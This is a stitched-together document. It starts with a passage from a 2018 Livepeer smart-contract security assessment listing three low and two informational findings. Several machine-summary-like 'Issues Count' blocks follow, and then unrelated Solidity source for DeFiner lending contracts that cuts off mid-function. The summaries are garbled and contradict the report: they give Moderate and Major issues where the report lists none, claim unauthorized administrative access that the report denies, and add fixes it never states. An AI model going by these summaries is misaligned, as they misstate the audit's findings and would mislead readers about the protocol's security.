transcoders, and two dozen delegators. Other than being mindful of scalability concerns  while auditing the code, no other specific effort was made into investigating scalability.        © 2018 Trail of Bits    Livepeer Security Assessment | 6   P r o j e c t D a s h b o a r d   Application Summary  Name  Livepeer Protocol  Version  929182cc684410d55eb9048f47ed1ec3ab70461a  Type  Smart contracts  Platform  Solidity, Javascript    Engagement Summary  Dates  February 26 to March 9, 2018  Method  Whitebox  Consultants Engaged  2  Level of Effort  4 person-weeks    Vulnerability Summary   Total High Severity Issues  0    Total Medium Severity Issues  0    Total Low Severity Issues  3 ◼◼◼  Total Informational Severity Issues  2 ◼◼  Total Undetermined Severity Issues  0    Total 5      Category Breakdown  Denial of Service  1 ◼  Arithmetic  2 ◼◼  Cryptography  1 ◼  Undetermined  1 ◼  Total 4         © 2018 Trail of Bits    Livepeer Security Assessment | 7   R e c o m m e n d a t i o n s S u m m a r y   S h o r t T e r m   ❑ Explicitly scope the parameters for floating point arithmetic functions. The  precision limit these functions can handle should be programmatically enforced.    ❑ Limit the use of block hash and other deterministic entropy sources for  pseudorandomness. Transcoder elections are currently not fair. As soon as the Livepeer  ecosystem contains enough ether to justify miner collusion, any architectural component  that relies on the pseudorandom number generation (PRNG) scheme is threatened.    ❑ Have transcoder slashing always penalize a minimum amount of stake if possible.  Scenarios where a transcoder has non-zero stake but can be slashed without suffering a  penalty encourages bad behavior on the Livepeer network.    ❑ Improve source code comments to describe state machine semantics. Contracts like  the Bonding Manager have very complex semantics that are not immediately transparent  from the code. It would be very easy for these to be broken in a future refactor.  L o n g T e r m   ❑ Document and extend the floating point library. Include detailed use cases of limits  as well as explanations of parameter inputs and limitations. This will help developers’  understanding for interacting with the library. Upstreaming these utilities to a third party  framework may support the development of a robust system that will be able to handle  extended precision needs in the future.    ❑ Use an external source of randomness, or none at all. There is no safe way to use  blockch ain-derived randomness without risking collusion and/or unfairness.    ❑ Improve automated testing. Create integration tests to cover all of the intricacies and  edge cases of processes like bonding.    ❑ Ensure penalties are strong enough to deter misbehavior. The transcoder slashing  protocol is currently the primary mechanism that inhibits dishonest participation of  processing video transcoding. Edge cases that do not proportionally punish misbehavior  have the potential to negatively impact the network as a whole.         © 2018 Trail of Bits    Livepeer Security Assessment | 8   F i n d i n g s s u m m a r y   # Title  Type  Severity  1 Transcoder election can be predictable  and influenceable Denial of Service Low  2 Loss of precision for sufficiently high  denominator and amount Arithmetic  Informational  3 Pseudorandom number generation is not  random Cryptography  Low  4 Transcoders with low bonded stake can  avoid slashing penalties Arithmetic  Low  5 Bonding synchronization errors between  data structures can enable stolen and  locked tokens Denial of Service Informational          © 2018 Trail of Bits    Livepeer Security Assessment | 9   1 . T r a n s c o d e r e l e c t i o n c a n b e p r e d i c t a b l e a n d i n
Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 1 Critical: 0 Minor Issues: 2.a Problem: Loss of precision for sufficiently high denominator and amount 2.b Fix: Use fixed-point arithmetic Moderate Issues: 3.a Problem: Pseudorandom number generation is not random 3.b Fix: Use a cryptographically secure random number generator Major Issues: 4.a Problem: Transcoders with low bonded stake can avoid slashing penalties 4.b Fix: Increase the minimum bonded stake Observations: The code reviewed is of excellent quality, written with obvious awareness of current smart contract development best practices and utilizing well tested frameworks such as OpenZeppelin. The manager proxy and delegate controller contracts are restrictive enough to defend against any unauthorized administrative action. Conclusion: The Livepeer protocol is designed to make several randomized decisions which are generally unfair and susceptible to collusion. The logic and state machines of the managers are very complex and could easily harbor new vulnerabilities as the result of a hasty future refactor. Edge-cases related to the floating-point and linked-list implementations can prevent delegated Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem (one line with code reference): Edge-case scenarios prevent some delegated stake from burning after being slashed. 2.b Fix (one line with code reference): Changes made in response to these findings can indirectly mitigate many exploit patterns. Moderate: 3.a Problem (one line with code reference): It is possible for an unauthorized third party to gain administrative access to deployed Livepeer contracts. 3.b Fix (one line with code reference): Extensive parameter handling and requirements reduce the threat of malformed patterns. Observations: - Livepeer’s security strength is the consistency of its code. - Integration and unit tests handle many edge cases that result from normal use of the protocol. - Ensure the same level of consistency is maintained when adding features or upgrading pre-existing components. - Appendix B and Appendix D contain references to implementation specifics that will help developing around certain areas of the code. - Appendix C contains a short reference to the Slither static analyzer Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: The absence of SafeMath might cause problems in the future. (Livepeer Security Assessment | 4) 2.b Fix: Implement SafeMath library. Observations: The codebase was inspected for common solidity flaws and an in-depth analysis of the job, rounds, and bonding managers was conducted. The ERC20 token implementation and genesis was assessed and tested. The initial token release contract was verified to conform with standard ICO and crowdsale procedures. The token minting and inflation was primarily analyzed for use cases that could manipulate inflation management to create unstable and unreasonable bonding rates. The floating point arithmetic library was explored for edge cases that could cause unintentional behavior in the core contract logic. The double linked-list for transcoder pools was interrogated for bugs and situations that could corrupt the integrity of the data stored. The job management protocols, rounds management protocols, and earnings protocols were examined for vulnerabilities. The bonding protocols were inspected to see if the checks could be bypassed. Conclusion: The audit of the Livepeer codebase revealed two
pragma solidity 0.5.14; interface IBlockNumber { function getBlockNumber() external view returns (uint); }pragma solidity 0.5.14; /** * @notice Code copied from OpenZeppelin, to make it an upgradable contract */ /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract InitializableReentrancyGuard { bool private _notEntered; function _initialize() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.14; import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import "./config/Constant.sol"; import "./config/GlobalConfig.sol"; import "./lib/SavingLib.sol"; import "./lib/Utils.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./InitializableReentrancyGuard.sol"; import "./InitializablePausable.sol"; import { ICToken } from "./compound/ICompound.sol"; import { ICETH } from "./compound/ICompound.sol"; import "openzeppelin-solidity/contracts/math/Math.sol"; // import "@nomiclabs/buidler/console.sol"; contract SavingAccount is Initializable, InitializableReentrancyGuard, Constant, InitializablePausable { using SafeERC20 for IERC20; using SafeMath for uint256; using Math for uint256; GlobalConfig public globalConfig; // Following are the constants, initialized via upgradable proxy contract // This is emergency address to allow withdrawal of funds from the contract event Transfer(address indexed token, address from, address to, uint256 amount); event Borrow(address indexed token, address from, uint256 amount); event Repay(address indexed token, address from, uint256 amount); event Deposit(address indexed token, address from, uint256 amount); event Withdraw(address indexed token, address from, uint256 amount); event WithdrawAll(address indexed token, address from, uint256 amount); event Claim(address from, uint256 amount); modifier onlyEmergencyAddress() { require(msg.sender == EMERGENCY_ADDR, "User not authorized"); _; } modifier onlySupportedToken(address _token) { if(!Utils._isETH(address(globalConfig), _token)) { require(globalConfig.tokenInfoRegistry().isTokenExist(_token), "Unsupported token"); } _; } modifier onlyEnabledToken(address _token) { require(globalConfig.tokenInfoRegistry().isTokenEnabled(_token), "The token is not enabled"); _; } modifier onlyAuthorized() { require(msg.sender == address(globalConfig.bank()), "Only authorized to call from DeFiner internal contracts."); _; } constructor() public { // THIS SHOULD BE EMPTY FOR UPGRADABLE CONTRACTS // console.log("Start to construct", msg.sender); } /** * Initialize function to be called by the Deployer for the first time * @param _tokenAddresses list of token addresses * @param _cTokenAddresses list of corresponding cToken addresses * @param _globalConfig global configuration contract */ function initialize( address[] memory _tokenAddresses, address[] memory _cTokenAddresses, GlobalConfig _globalConfig ) public initializer { // Initialize InitializableReentrancyGuard super._initialize(); super._initialize(address(_globalConfig)); globalConfig = _globalConfig; require(_tokenAddresses.length == _cTokenAddresses.length, "Token and cToken length don't match."); uint tokenNum = _tokenAddresses.length; for(uint i = 0;i < tokenNum;i++) { if(_cTokenAddresses[i] != address(0x0) && _tokenAddresses[i] != ETH_ADDR) { approveAll(_tokenAddresses[i]); } } } /** * Approve transfer of all available tokens * @param _token token address */ function approveAll(address _token) public { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); require(cToken != address(0x0), "cToken address is zero"); IERC20(_token).safeApprove(cToken, 0); IERC20(_token).safeApprove(cToken, uint256(-1)); } /** * Get current block number * @return the current block number */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * Transfer the token between users inside DeFiner * @param _to the address that the token be transfered to * @param _token token address * @param _amount amout of tokens transfer */ function transfer(address _to, address _token, uint _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant { globalConfig.bank().newRateIndexCheckpoint(_token); uint256 amount = globalConfig.accounts().withdraw(msg.sender, _token, _amount); globalConfig.accounts().deposit(_to, _token, amount); emit Transfer(_token, msg.sender, _to, amount); } /** * Borrow the amount of token from the saving pool. * @param _token token address * @param _amount amout of tokens to borrow */ function borrow(address _token, uint256 _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant { require(_amount != 0, "Borrow zero amount of token is not allowed."); globalConfig.bank().borrow(msg.sender, _token, _amount); // Transfer the token on Ethereum SavingLib.send(globalConfig, _amount, _token); emit Borrow(_token, msg.sender, _amount); } /** * Repay the amount of token back to the saving pool. * @param _token token address * @param _amount amout of tokens to borrow * @dev If the repay amount is larger than the borrowed balance, the extra will be returned. */ function repay(address _token, uint256 _amount) public payable onlySupportedToken(_token) nonReentrant { require(_amount != 0, "Amount is zero"); SavingLib.receive(globalConfig, _amount, _token); // Add a new checkpoint on the index curve. uint256 amount = globalConfig.bank().repay(msg.sender, _token, _amount); // Send the remain money back if(amount < _amount) { SavingLib.send(globalConfig, _amount.sub(amount), _token); } emit Repay(_token, msg.sender, amount); } /** * Deposit the amount of token to the saving pool. * @param _token the address of the deposited token * @param _amount the mount of the deposited token */ function deposit(address _token, uint256 _amount) public payable onlySupportedToken(_token) onlyEnabledToken(_token) nonReentrant { require(_amount != 0, "Amount is zero"); SavingLib.receive(globalConfig, _amount, _token); globalConfig.bank().deposit(msg.sender, _token, _amount); emit Deposit(_token, msg.sender, _amount); } /** * Withdraw a token from an address * @param _token token address * @param _amount amount to be withdrawn */ function withdraw(address _token, uint256 _amount) external onlySupportedToken(_token) whenNotPaused nonReentrant { require(_amount != 0, "Amount is zero"); uint256 amount = globalConfig.bank().withdraw(msg.sender, _token, _amount); SavingLib.send(globalConfig, amount, _token); emit Withdraw(_token, msg.sender, amount); } /** * Withdraw all tokens from the saving pool. * @param _token the address of the withdrawn token */ function withdrawAll(address _token) external onlySupportedToken(_token) whenNotPaused nonReentrant { // Sanity check require(globalConfig.accounts().getDepositPrincipal(msg.sender, _token) > 0, "Token depositPrincipal must be greater than 0"); // Add a new checkpoint on the index curve. globalConfig.bank().newRateIndexCheckpoint(_token); // Get the total amount of token for the account uint amount = globalConfig.accounts().getDepositBalanceCurrent(_token, msg.sender); uint256 actualAmount = globalConfig.bank().withdraw(msg.sender, _token, amount); if(actualAmount != 0) { SavingLib.send(globalConfig, actualAmount, _token); } emit WithdrawAll(_token, msg.sender, actualAmount); } struct LiquidationVars { // address token; // uint256 tokenPrice; // uint256 coinValue; uint256 borrowerCollateralValue; // uint256 tokenAmount; // uint256 tokenDivisor; uint256 msgTotalBorrow; uint256 targetTokenBalance; uint256 targetTokenBalanceBorrowed; uint256 targetTokenPrice; uint256 liquidationDiscountRatio; uint256 totalBorrow; uint256 borrowPower; uint256 liquidateTokenBalance; uint256 liquidateTokenPrice; // uint256 liquidateTokenValue; uint256 limitRepaymentValue; uint256 borrowTokenLTV; uint256 repayAmount; uint256 payAmount; } function liquidate(address _borrower, address _borrowedToken, address _collateralToken) public onlySupportedToken(_borrowedToken) onlySupportedToken(_collateralToken) whenNotPaused nonReentrant { require(globalConfig.accounts().isAccountLiquidatable(_borrower), "The borrower is not liquidatable."); LiquidationVars memory vars; // It is required that the liquidator doesn't exceed it's borrow power. vars.msgTotalBorrow = globalConfig.accounts().getBorrowETH(msg.sender); require( vars.msgTotalBorrow < globalConfig.accounts().getBorrowPower(msg.sender), "No extra funds are used for liquidation." ); // _borrowedToken balance of the liquidator (deposit balance) vars.targetTokenBalance = globalConfig.accounts().getDepositBalanceCurrent(_borrowedToken, msg.sender); require(vars.targetTokenBalance > 0, "The account amount must be greater than zero."); // _borrowedToken balance of the borrower (borrow balance) vars.targetTokenBalanceBorrowed = globalConfig.accounts().getBorrowBalanceCurrent(_borrowedToken, _borrower); require(vars.targetTokenBalanceBorrowed > 0, "The borrower doesn't own any debt token specified by the liquidator."); // _borrowedToken available for liquidation uint256 borrowedTokenAmountForLiquidation = vars.targetTokenBalance.min(vars.targetTokenBalanceBorrowed); // _collateralToken balance of the borrower (deposit balance) vars.liquidateTokenBalance = globalConfig.accounts().getDepositBalanceCurrent(_collateralToken, _borrower); vars.liquidateTokenPrice = globalConfig.tokenInfoRegistry().priceFromAddress(_collateralToken); uint divisor = 10 ** uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(_borrowedToken)); uint liquidateTokendivisor = 10 ** uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(_collateralToken)); // _collateralToken to purchase so that borrower's balance matches its borrow power vars.totalBorrow = globalConfig.accounts().getBorrowETH(_borrower); vars.borrowPower = globalConfig.accounts().getBorrowPower(_borrower); vars.liquidationDiscountRatio = globalConfig.liquidationDiscountRatio(); vars.borrowTokenLTV = globalConfig.tokenInfoRegistry().getBorrowLTV(_borrowedToken); vars.limitRepaymentValue = vars.totalBorrow.sub(vars.borrowPower).mul(100).div(vars.liquidationDiscountRatio.sub(vars.borrowTokenLTV)); uint256 collateralTokenValueForLiquidation = vars.limitRepaymentValue.min(vars.liquidateTokenBalance.mul(vars.liquidateTokenPrice).div(liquidateTokendivisor)); vars.targetTokenPrice = globalConfig.tokenInfoRegistry().priceFromAddress(_borrowedToken); uint256 liquidationValue = collateralTokenValueForLiquidation.min(borrowedTokenAmountForLiquidation.mul(vars.targetTokenPrice).mul(100).div(divisor).div(vars.liquidationDiscountRatio)); vars.repayAmount = liquidationValue.mul(vars.liquidationDiscountRatio).mul(divisor).div(100).div(vars.targetTokenPrice); vars.payAmount = vars.repayAmount.mul(liquidateTokendivisor).mul(100).mul(vars.targetTokenPrice); vars.payAmount = vars.payAmount.div(divisor).div(vars.liquidationDiscountRatio).div(vars.liquidateTokenPrice); globalConfig.accounts().deposit(msg.sender, _collateralToken, vars.payAmount); globalConfig.accounts().withdraw(msg.sender, _borrowedToken, vars.repayAmount); globalConfig.accounts().withdraw(_borrower, _collateralToken, vars.payAmount); globalConfig.accounts().repay(_borrower, _borrowedToken, vars.repayAmount); } /** * Withdraw token from Compound * @param _token token address * @param _amount amount of token */ function fromCompound(address _token, uint _amount) external onlyAuthorized { require(ICToken(globalConfig.tokenInfoRegistry().getCToken(_token)).redeemUnderlying(_amount) == 0, "redeemUnderlying failed"); } function toCompound(address _token, uint _amount) external onlyAuthorized { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if (Utils._isETH(address(globalConfig), _token)) { ICETH(cToken).mint.value(_amount)(); } else { // uint256 success = ICToken(cToken).mint(_amount); require(ICToken(cToken).mint(_amount) == 0, "mint failed"); } } function() external payable{} function emergencyWithdraw(address _token) external onlyEmergencyAddress { SavingLib.emergencyWithdraw(globalConfig, _token); } /** * An account claim all mined FIN token */ function claim() public nonReentrant { uint FINAmount = globalConfig.accounts().claim(msg.sender); IERC20(globalConfig.tokenInfoRegistry().addressFromIndex(11)).safeTransfer(msg.sender, FINAmount); emit Claim(msg.sender, FINAmount); } } pragma solidity 0.5.14; import "./config/GlobalConfig.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract InitializablePausable { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); address private globalConfigPausable; bool private _paused; function _initialize(address _globalConfig) internal { globalConfigPausable = _globalConfig; _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(GlobalConfig(globalConfigPausable).owner()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(GlobalConfig(globalConfigPausable).owner()); } modifier onlyPauser() { require(msg.sender == GlobalConfig(globalConfigPausable).owner(), "PauserRole: caller does not have the Pauser role"); _; } } pragma solidity 0.5.14; import "./lib/AccountTokenLib.sol"; import "./lib/BitmapLib.sol"; import "./lib/Utils.sol"; import "./config/Constant.sol"; import "./config/GlobalConfig.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "@nomiclabs/buidler/console.sol"; contract Accounts is Constant, Initializable{ using AccountTokenLib for AccountTokenLib.TokenInfo; using BitmapLib for uint128; using SafeMath for uint256; mapping(address => Account) public accounts; GlobalConfig globalConfig; mapping(address => uint) public FINAmount; modifier onlyAuthorized() { require(msg.sender == address(globalConfig.savingAccount()) || msg.sender == address(globalConfig.bank()), "Only authorized to call from DeFiner internal contracts."); _; } struct Account { // Note, it's best practice to use functions minusAmount, addAmount, totalAmount // to operate tokenInfos instead of changing it directly. mapping(address => AccountTokenLib.TokenInfo) tokenInfos; uint128 depositBitmap; uint128 borrowBitmap; } /** * Initialize the Accounts * @param _globalConfig the global configuration contract */ function initialize( GlobalConfig _globalConfig ) public initializer { globalConfig = _globalConfig; } /** * Check if the user has deposit for any tokens * @param _account address of the user * @return true if the user has positive deposit balance */ function isUserHasAnyDeposits(address _account) public view returns (bool) { Account storage account = accounts[_account]; return account.depositBitmap > 0; } /** * Check if the user has deposit for a token * @param _account address of the user * @param _index index of the token * @return true if the user has positive deposit balance for the token */ function isUserHasDeposits(address _account, uint8 _index) public view returns (bool) { Account storage account = accounts[_account]; return account.depositBitmap.isBitSet(_index); } /** * Check if the user has borrowed a token * @param _account address of the user * @param _index index of the token * @return true if the user has borrowed the token */ function isUserHasBorrows(address _account, uint8 _index) public view returns (bool) { Account storage account = accounts[_account]; return account.borrowBitmap.isBitSet(_index); } /** * Set the deposit bitmap for a token. * @param _account address of the user * @param _index index of the token */ function setInDepositBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.depositBitmap = account.depositBitmap.setBit(_index); } /** * Unset the deposit bitmap for a token * @param _account address of the user * @param _index index of the token */ function unsetFromDepositBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.depositBitmap = account.depositBitmap.unsetBit(_index); } /** * Set the borrow bitmap for a token. * @param _account address of the user * @param _index index of the token */ function setInBorrowBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.borrowBitmap = account.borrowBitmap.setBit(_index); } /** * Unset the borrow bitmap for a token * @param _account address of the user * @param _index index of the token */ function unsetFromBorrowBitmap(address _account, uint8 _index) internal { Account storage account = accounts[_account]; account.borrowBitmap = account.borrowBitmap.unsetBit(_index); } function getDepositPrincipal(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getDepositPrincipal(); } function getBorrowPrincipal(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getBorrowPrincipal(); } function getLastDepositBlock(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getLastDepositBlock(); } function getLastBorrowBlock(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; return tokenInfo.getLastBorrowBlock(); } /** * Get deposit interest of an account for a specific token * @param _account account address * @param _token token address * @dev The deposit interest may not have been updated in AccountTokenLib, so we need to explicited calcuate it. */ function getDepositInterest(address _account, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[_token]; // If the account has never deposited the token, return 0. if (tokenInfo.getLastDepositBlock() == 0) return 0; else { // As the last deposit block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, tokenInfo.getLastDepositBlock()); return tokenInfo.calculateDepositInterest(accruedRate); } } function getBorrowInterest(address _accountAddr, address _token) public view returns(uint256) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; // If the account has never borrowed the token, return 0 if (tokenInfo.getLastBorrowBlock() == 0) return 0; else { // As the last borrow block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, tokenInfo.getLastBorrowBlock()); return tokenInfo.calculateBorrowInterest(accruedRate); } } function borrow(address _accountAddr, address _token, uint256 _amount) external onlyAuthorized { require(_amount != 0, "Borrow zero amount of token is not allowed."); require(isUserHasAnyDeposits(_accountAddr), "The user doesn't have any deposits."); require( getBorrowETH(_accountAddr).add( _amount.mul(globalConfig.tokenInfoRegistry().priceFromAddress(_token)) .div(Utils.getDivisor(address(globalConfig), _token)) ) <= getBorrowPower(_accountAddr), "Insufficient collateral when borrow."); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; if(tokenInfo.getLastBorrowBlock() == 0) tokenInfo.borrow(_amount, INT_UNIT, getBlockNumber()); else { calculateBorrowFIN(tokenInfo.getLastBorrowBlock(), _token, _accountAddr, getBlockNumber()); uint256 accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, tokenInfo.getLastBorrowBlock()); // Update the token principla and interest tokenInfo.borrow(_amount, accruedRate, getBlockNumber()); } // Since we have checked that borrow amount is larget than zero. We can set the borrow // map directly without checking the borrow balance. uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); setInBorrowBitmap(_accountAddr, tokenIndex); } /** * Update token info for withdraw. The interest will be withdrawn with higher priority. */ function withdraw(address _accountAddr, address _token, uint256 _amount) external onlyAuthorized returns(uint256) { // Check if withdraw amount is less than user's balance require(_amount <= getDepositBalanceCurrent(_token, _accountAddr), "Insufficient balance."); uint256 borrowLTV = globalConfig.tokenInfoRegistry().getBorrowLTV(_token); // This if condition is to deal with the withdraw of collateral token in liquidation. // As the amount if borrowed asset is already large than the borrow power, we don't // have to check the condition here. if(getBorrowETH(_accountAddr) <= getBorrowPower(_accountAddr)) require( getBorrowETH(_accountAddr) <= getBorrowPower(_accountAddr).sub( _amount.mul(globalConfig.tokenInfoRegistry().priceFromAddress(_token)) .mul(borrowLTV).div(Utils.getDivisor(address(globalConfig), _token)).div(100) ), "Insufficient collateral when withdraw."); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint lastBlock = tokenInfo.getLastDepositBlock(); uint currentBlock = getBlockNumber(); calculateDepositFIN(lastBlock, _token, _accountAddr, currentBlock); uint256 principalBeforeWithdraw = tokenInfo.getDepositPrincipal(); if (tokenInfo.getLastDepositBlock() == 0) tokenInfo.withdraw(_amount, INT_UNIT, getBlockNumber()); else { // As the last deposit block exists, the block is also a check point on index curve. uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, tokenInfo.getLastDepositBlock()); tokenInfo.withdraw(_amount, accruedRate, getBlockNumber()); } uint256 principalAfterWithdraw = tokenInfo.getDepositPrincipal(); if(tokenInfo.getDepositPrincipal() == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); unsetFromDepositBitmap(_accountAddr, tokenIndex); } uint commission = 0; if (_accountAddr != globalConfig.deFinerCommunityFund()) { // DeFiner takes 10% commission on the interest a user earn commission = _amount.sub(principalBeforeWithdraw.sub(principalAfterWithdraw)).mul(globalConfig.deFinerRate()).div(100); deposit(globalConfig.deFinerCommunityFund(), _token, commission); } return _amount.sub(commission); } /** * Update token info for deposit */ function deposit(address _accountAddr, address _token, uint256 _amount) public onlyAuthorized { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; if(tokenInfo.getDepositPrincipal() == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); setInDepositBitmap(_accountAddr, tokenIndex); } if(tokenInfo.getLastDepositBlock() == 0) tokenInfo.deposit(_amount, INT_UNIT, getBlockNumber()); else { calculateDepositFIN(tokenInfo.getLastDepositBlock(), _token, _accountAddr, getBlockNumber()); uint accruedRate = globalConfig.bank().getDepositAccruedRate(_token, tokenInfo.getLastDepositBlock()); tokenInfo.deposit(_amount, accruedRate, getBlockNumber()); } } function repay(address _accountAddr, address _token, uint256 _amount) external onlyAuthorized returns(uint256){ // Update tokenInfo uint256 amountOwedWithInterest = getBorrowBalanceCurrent(_token, _accountAddr); uint amount = _amount > amountOwedWithInterest ? amountOwedWithInterest : _amount; uint256 remain = _amount > amountOwedWithInterest ? _amount.sub(amountOwedWithInterest) : 0; AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; // Sanity check require(tokenInfo.getBorrowPrincipal() > 0, "Token BorrowPrincipal must be greater than 0. To deposit balance, please use deposit button."); if(tokenInfo.getLastBorrowBlock() == 0) tokenInfo.repay(amount, INT_UNIT, getBlockNumber()); else { calculateBorrowFIN(tokenInfo.getLastBorrowBlock(), _token, _accountAddr, getBlockNumber()); uint accruedRate = globalConfig.bank().getBorrowAccruedRate(_token, tokenInfo.getLastBorrowBlock()); tokenInfo.repay(amount, accruedRate, getBlockNumber()); } if(tokenInfo.getBorrowPrincipal() == 0) { uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token); unsetFromBorrowBitmap(_accountAddr, tokenIndex); } return remain; } // sichaoy: switch the order of the parameters function getDepositBalanceCurrent( address _token, address _accountAddr ) public view returns (uint256 depositBalance) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint accruedRate; if(tokenInfo.getDepositPrincipal() == 0) { return 0; } else { if(globalConfig.bank().depositeRateIndex(_token, tokenInfo.getLastDepositBlock()) == 0) { accruedRate = INT_UNIT; } else { accruedRate = globalConfig.bank().depositRateIndexNow(_token) .mul(INT_UNIT) .div(globalConfig.bank().depositeRateIndex(_token, tokenInfo.getLastDepositBlock())); } return tokenInfo.getDepositBalance(accruedRate); } } /** * Get current borrow balance of a token * @param _token token address * @dev This is an estimation. Add a new checkpoint first, if you want to derive the exact balance. */ // sichaoy: What's the diff of getBorrowBalance with getBorrowAcruedRate? function getBorrowBalanceCurrent( address _token, address _accountAddr ) public view returns (uint256 borrowBalance) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint accruedRate; if(tokenInfo.getBorrowPrincipal() == 0) { return 0; } else { if(globalConfig.bank().borrowRateIndex(_token, tokenInfo.getLastBorrowBlock()) == 0) { accruedRate = INT_UNIT; } else { accruedRate = globalConfig.bank().borrowRateIndexNow(_token) .mul(INT_UNIT) .div(globalConfig.bank().borrowRateIndex(_token, tokenInfo.getLastBorrowBlock())); } return tokenInfo.getBorrowBalance(accruedRate); } } /** * Calculate an account's borrow power based on token's LTV */ function getBorrowPower(address _borrower) public view returns (uint256 power) { for(uint8 i = 0; i < globalConfig.tokenInfoRegistry().getCoinLength(); i++) { if (isUserHasDeposits(_borrower, i)) { address token = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(token != ETH_ADDR) { divisor = 10**uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(token)); } // globalConfig.bank().newRateIndexCheckpoint(token); power = power.add(getDepositBalanceCurrent(token, _borrower) .mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)) .mul(globalConfig.tokenInfoRegistry().getBorrowLTV(token)).div(100) .div(divisor) 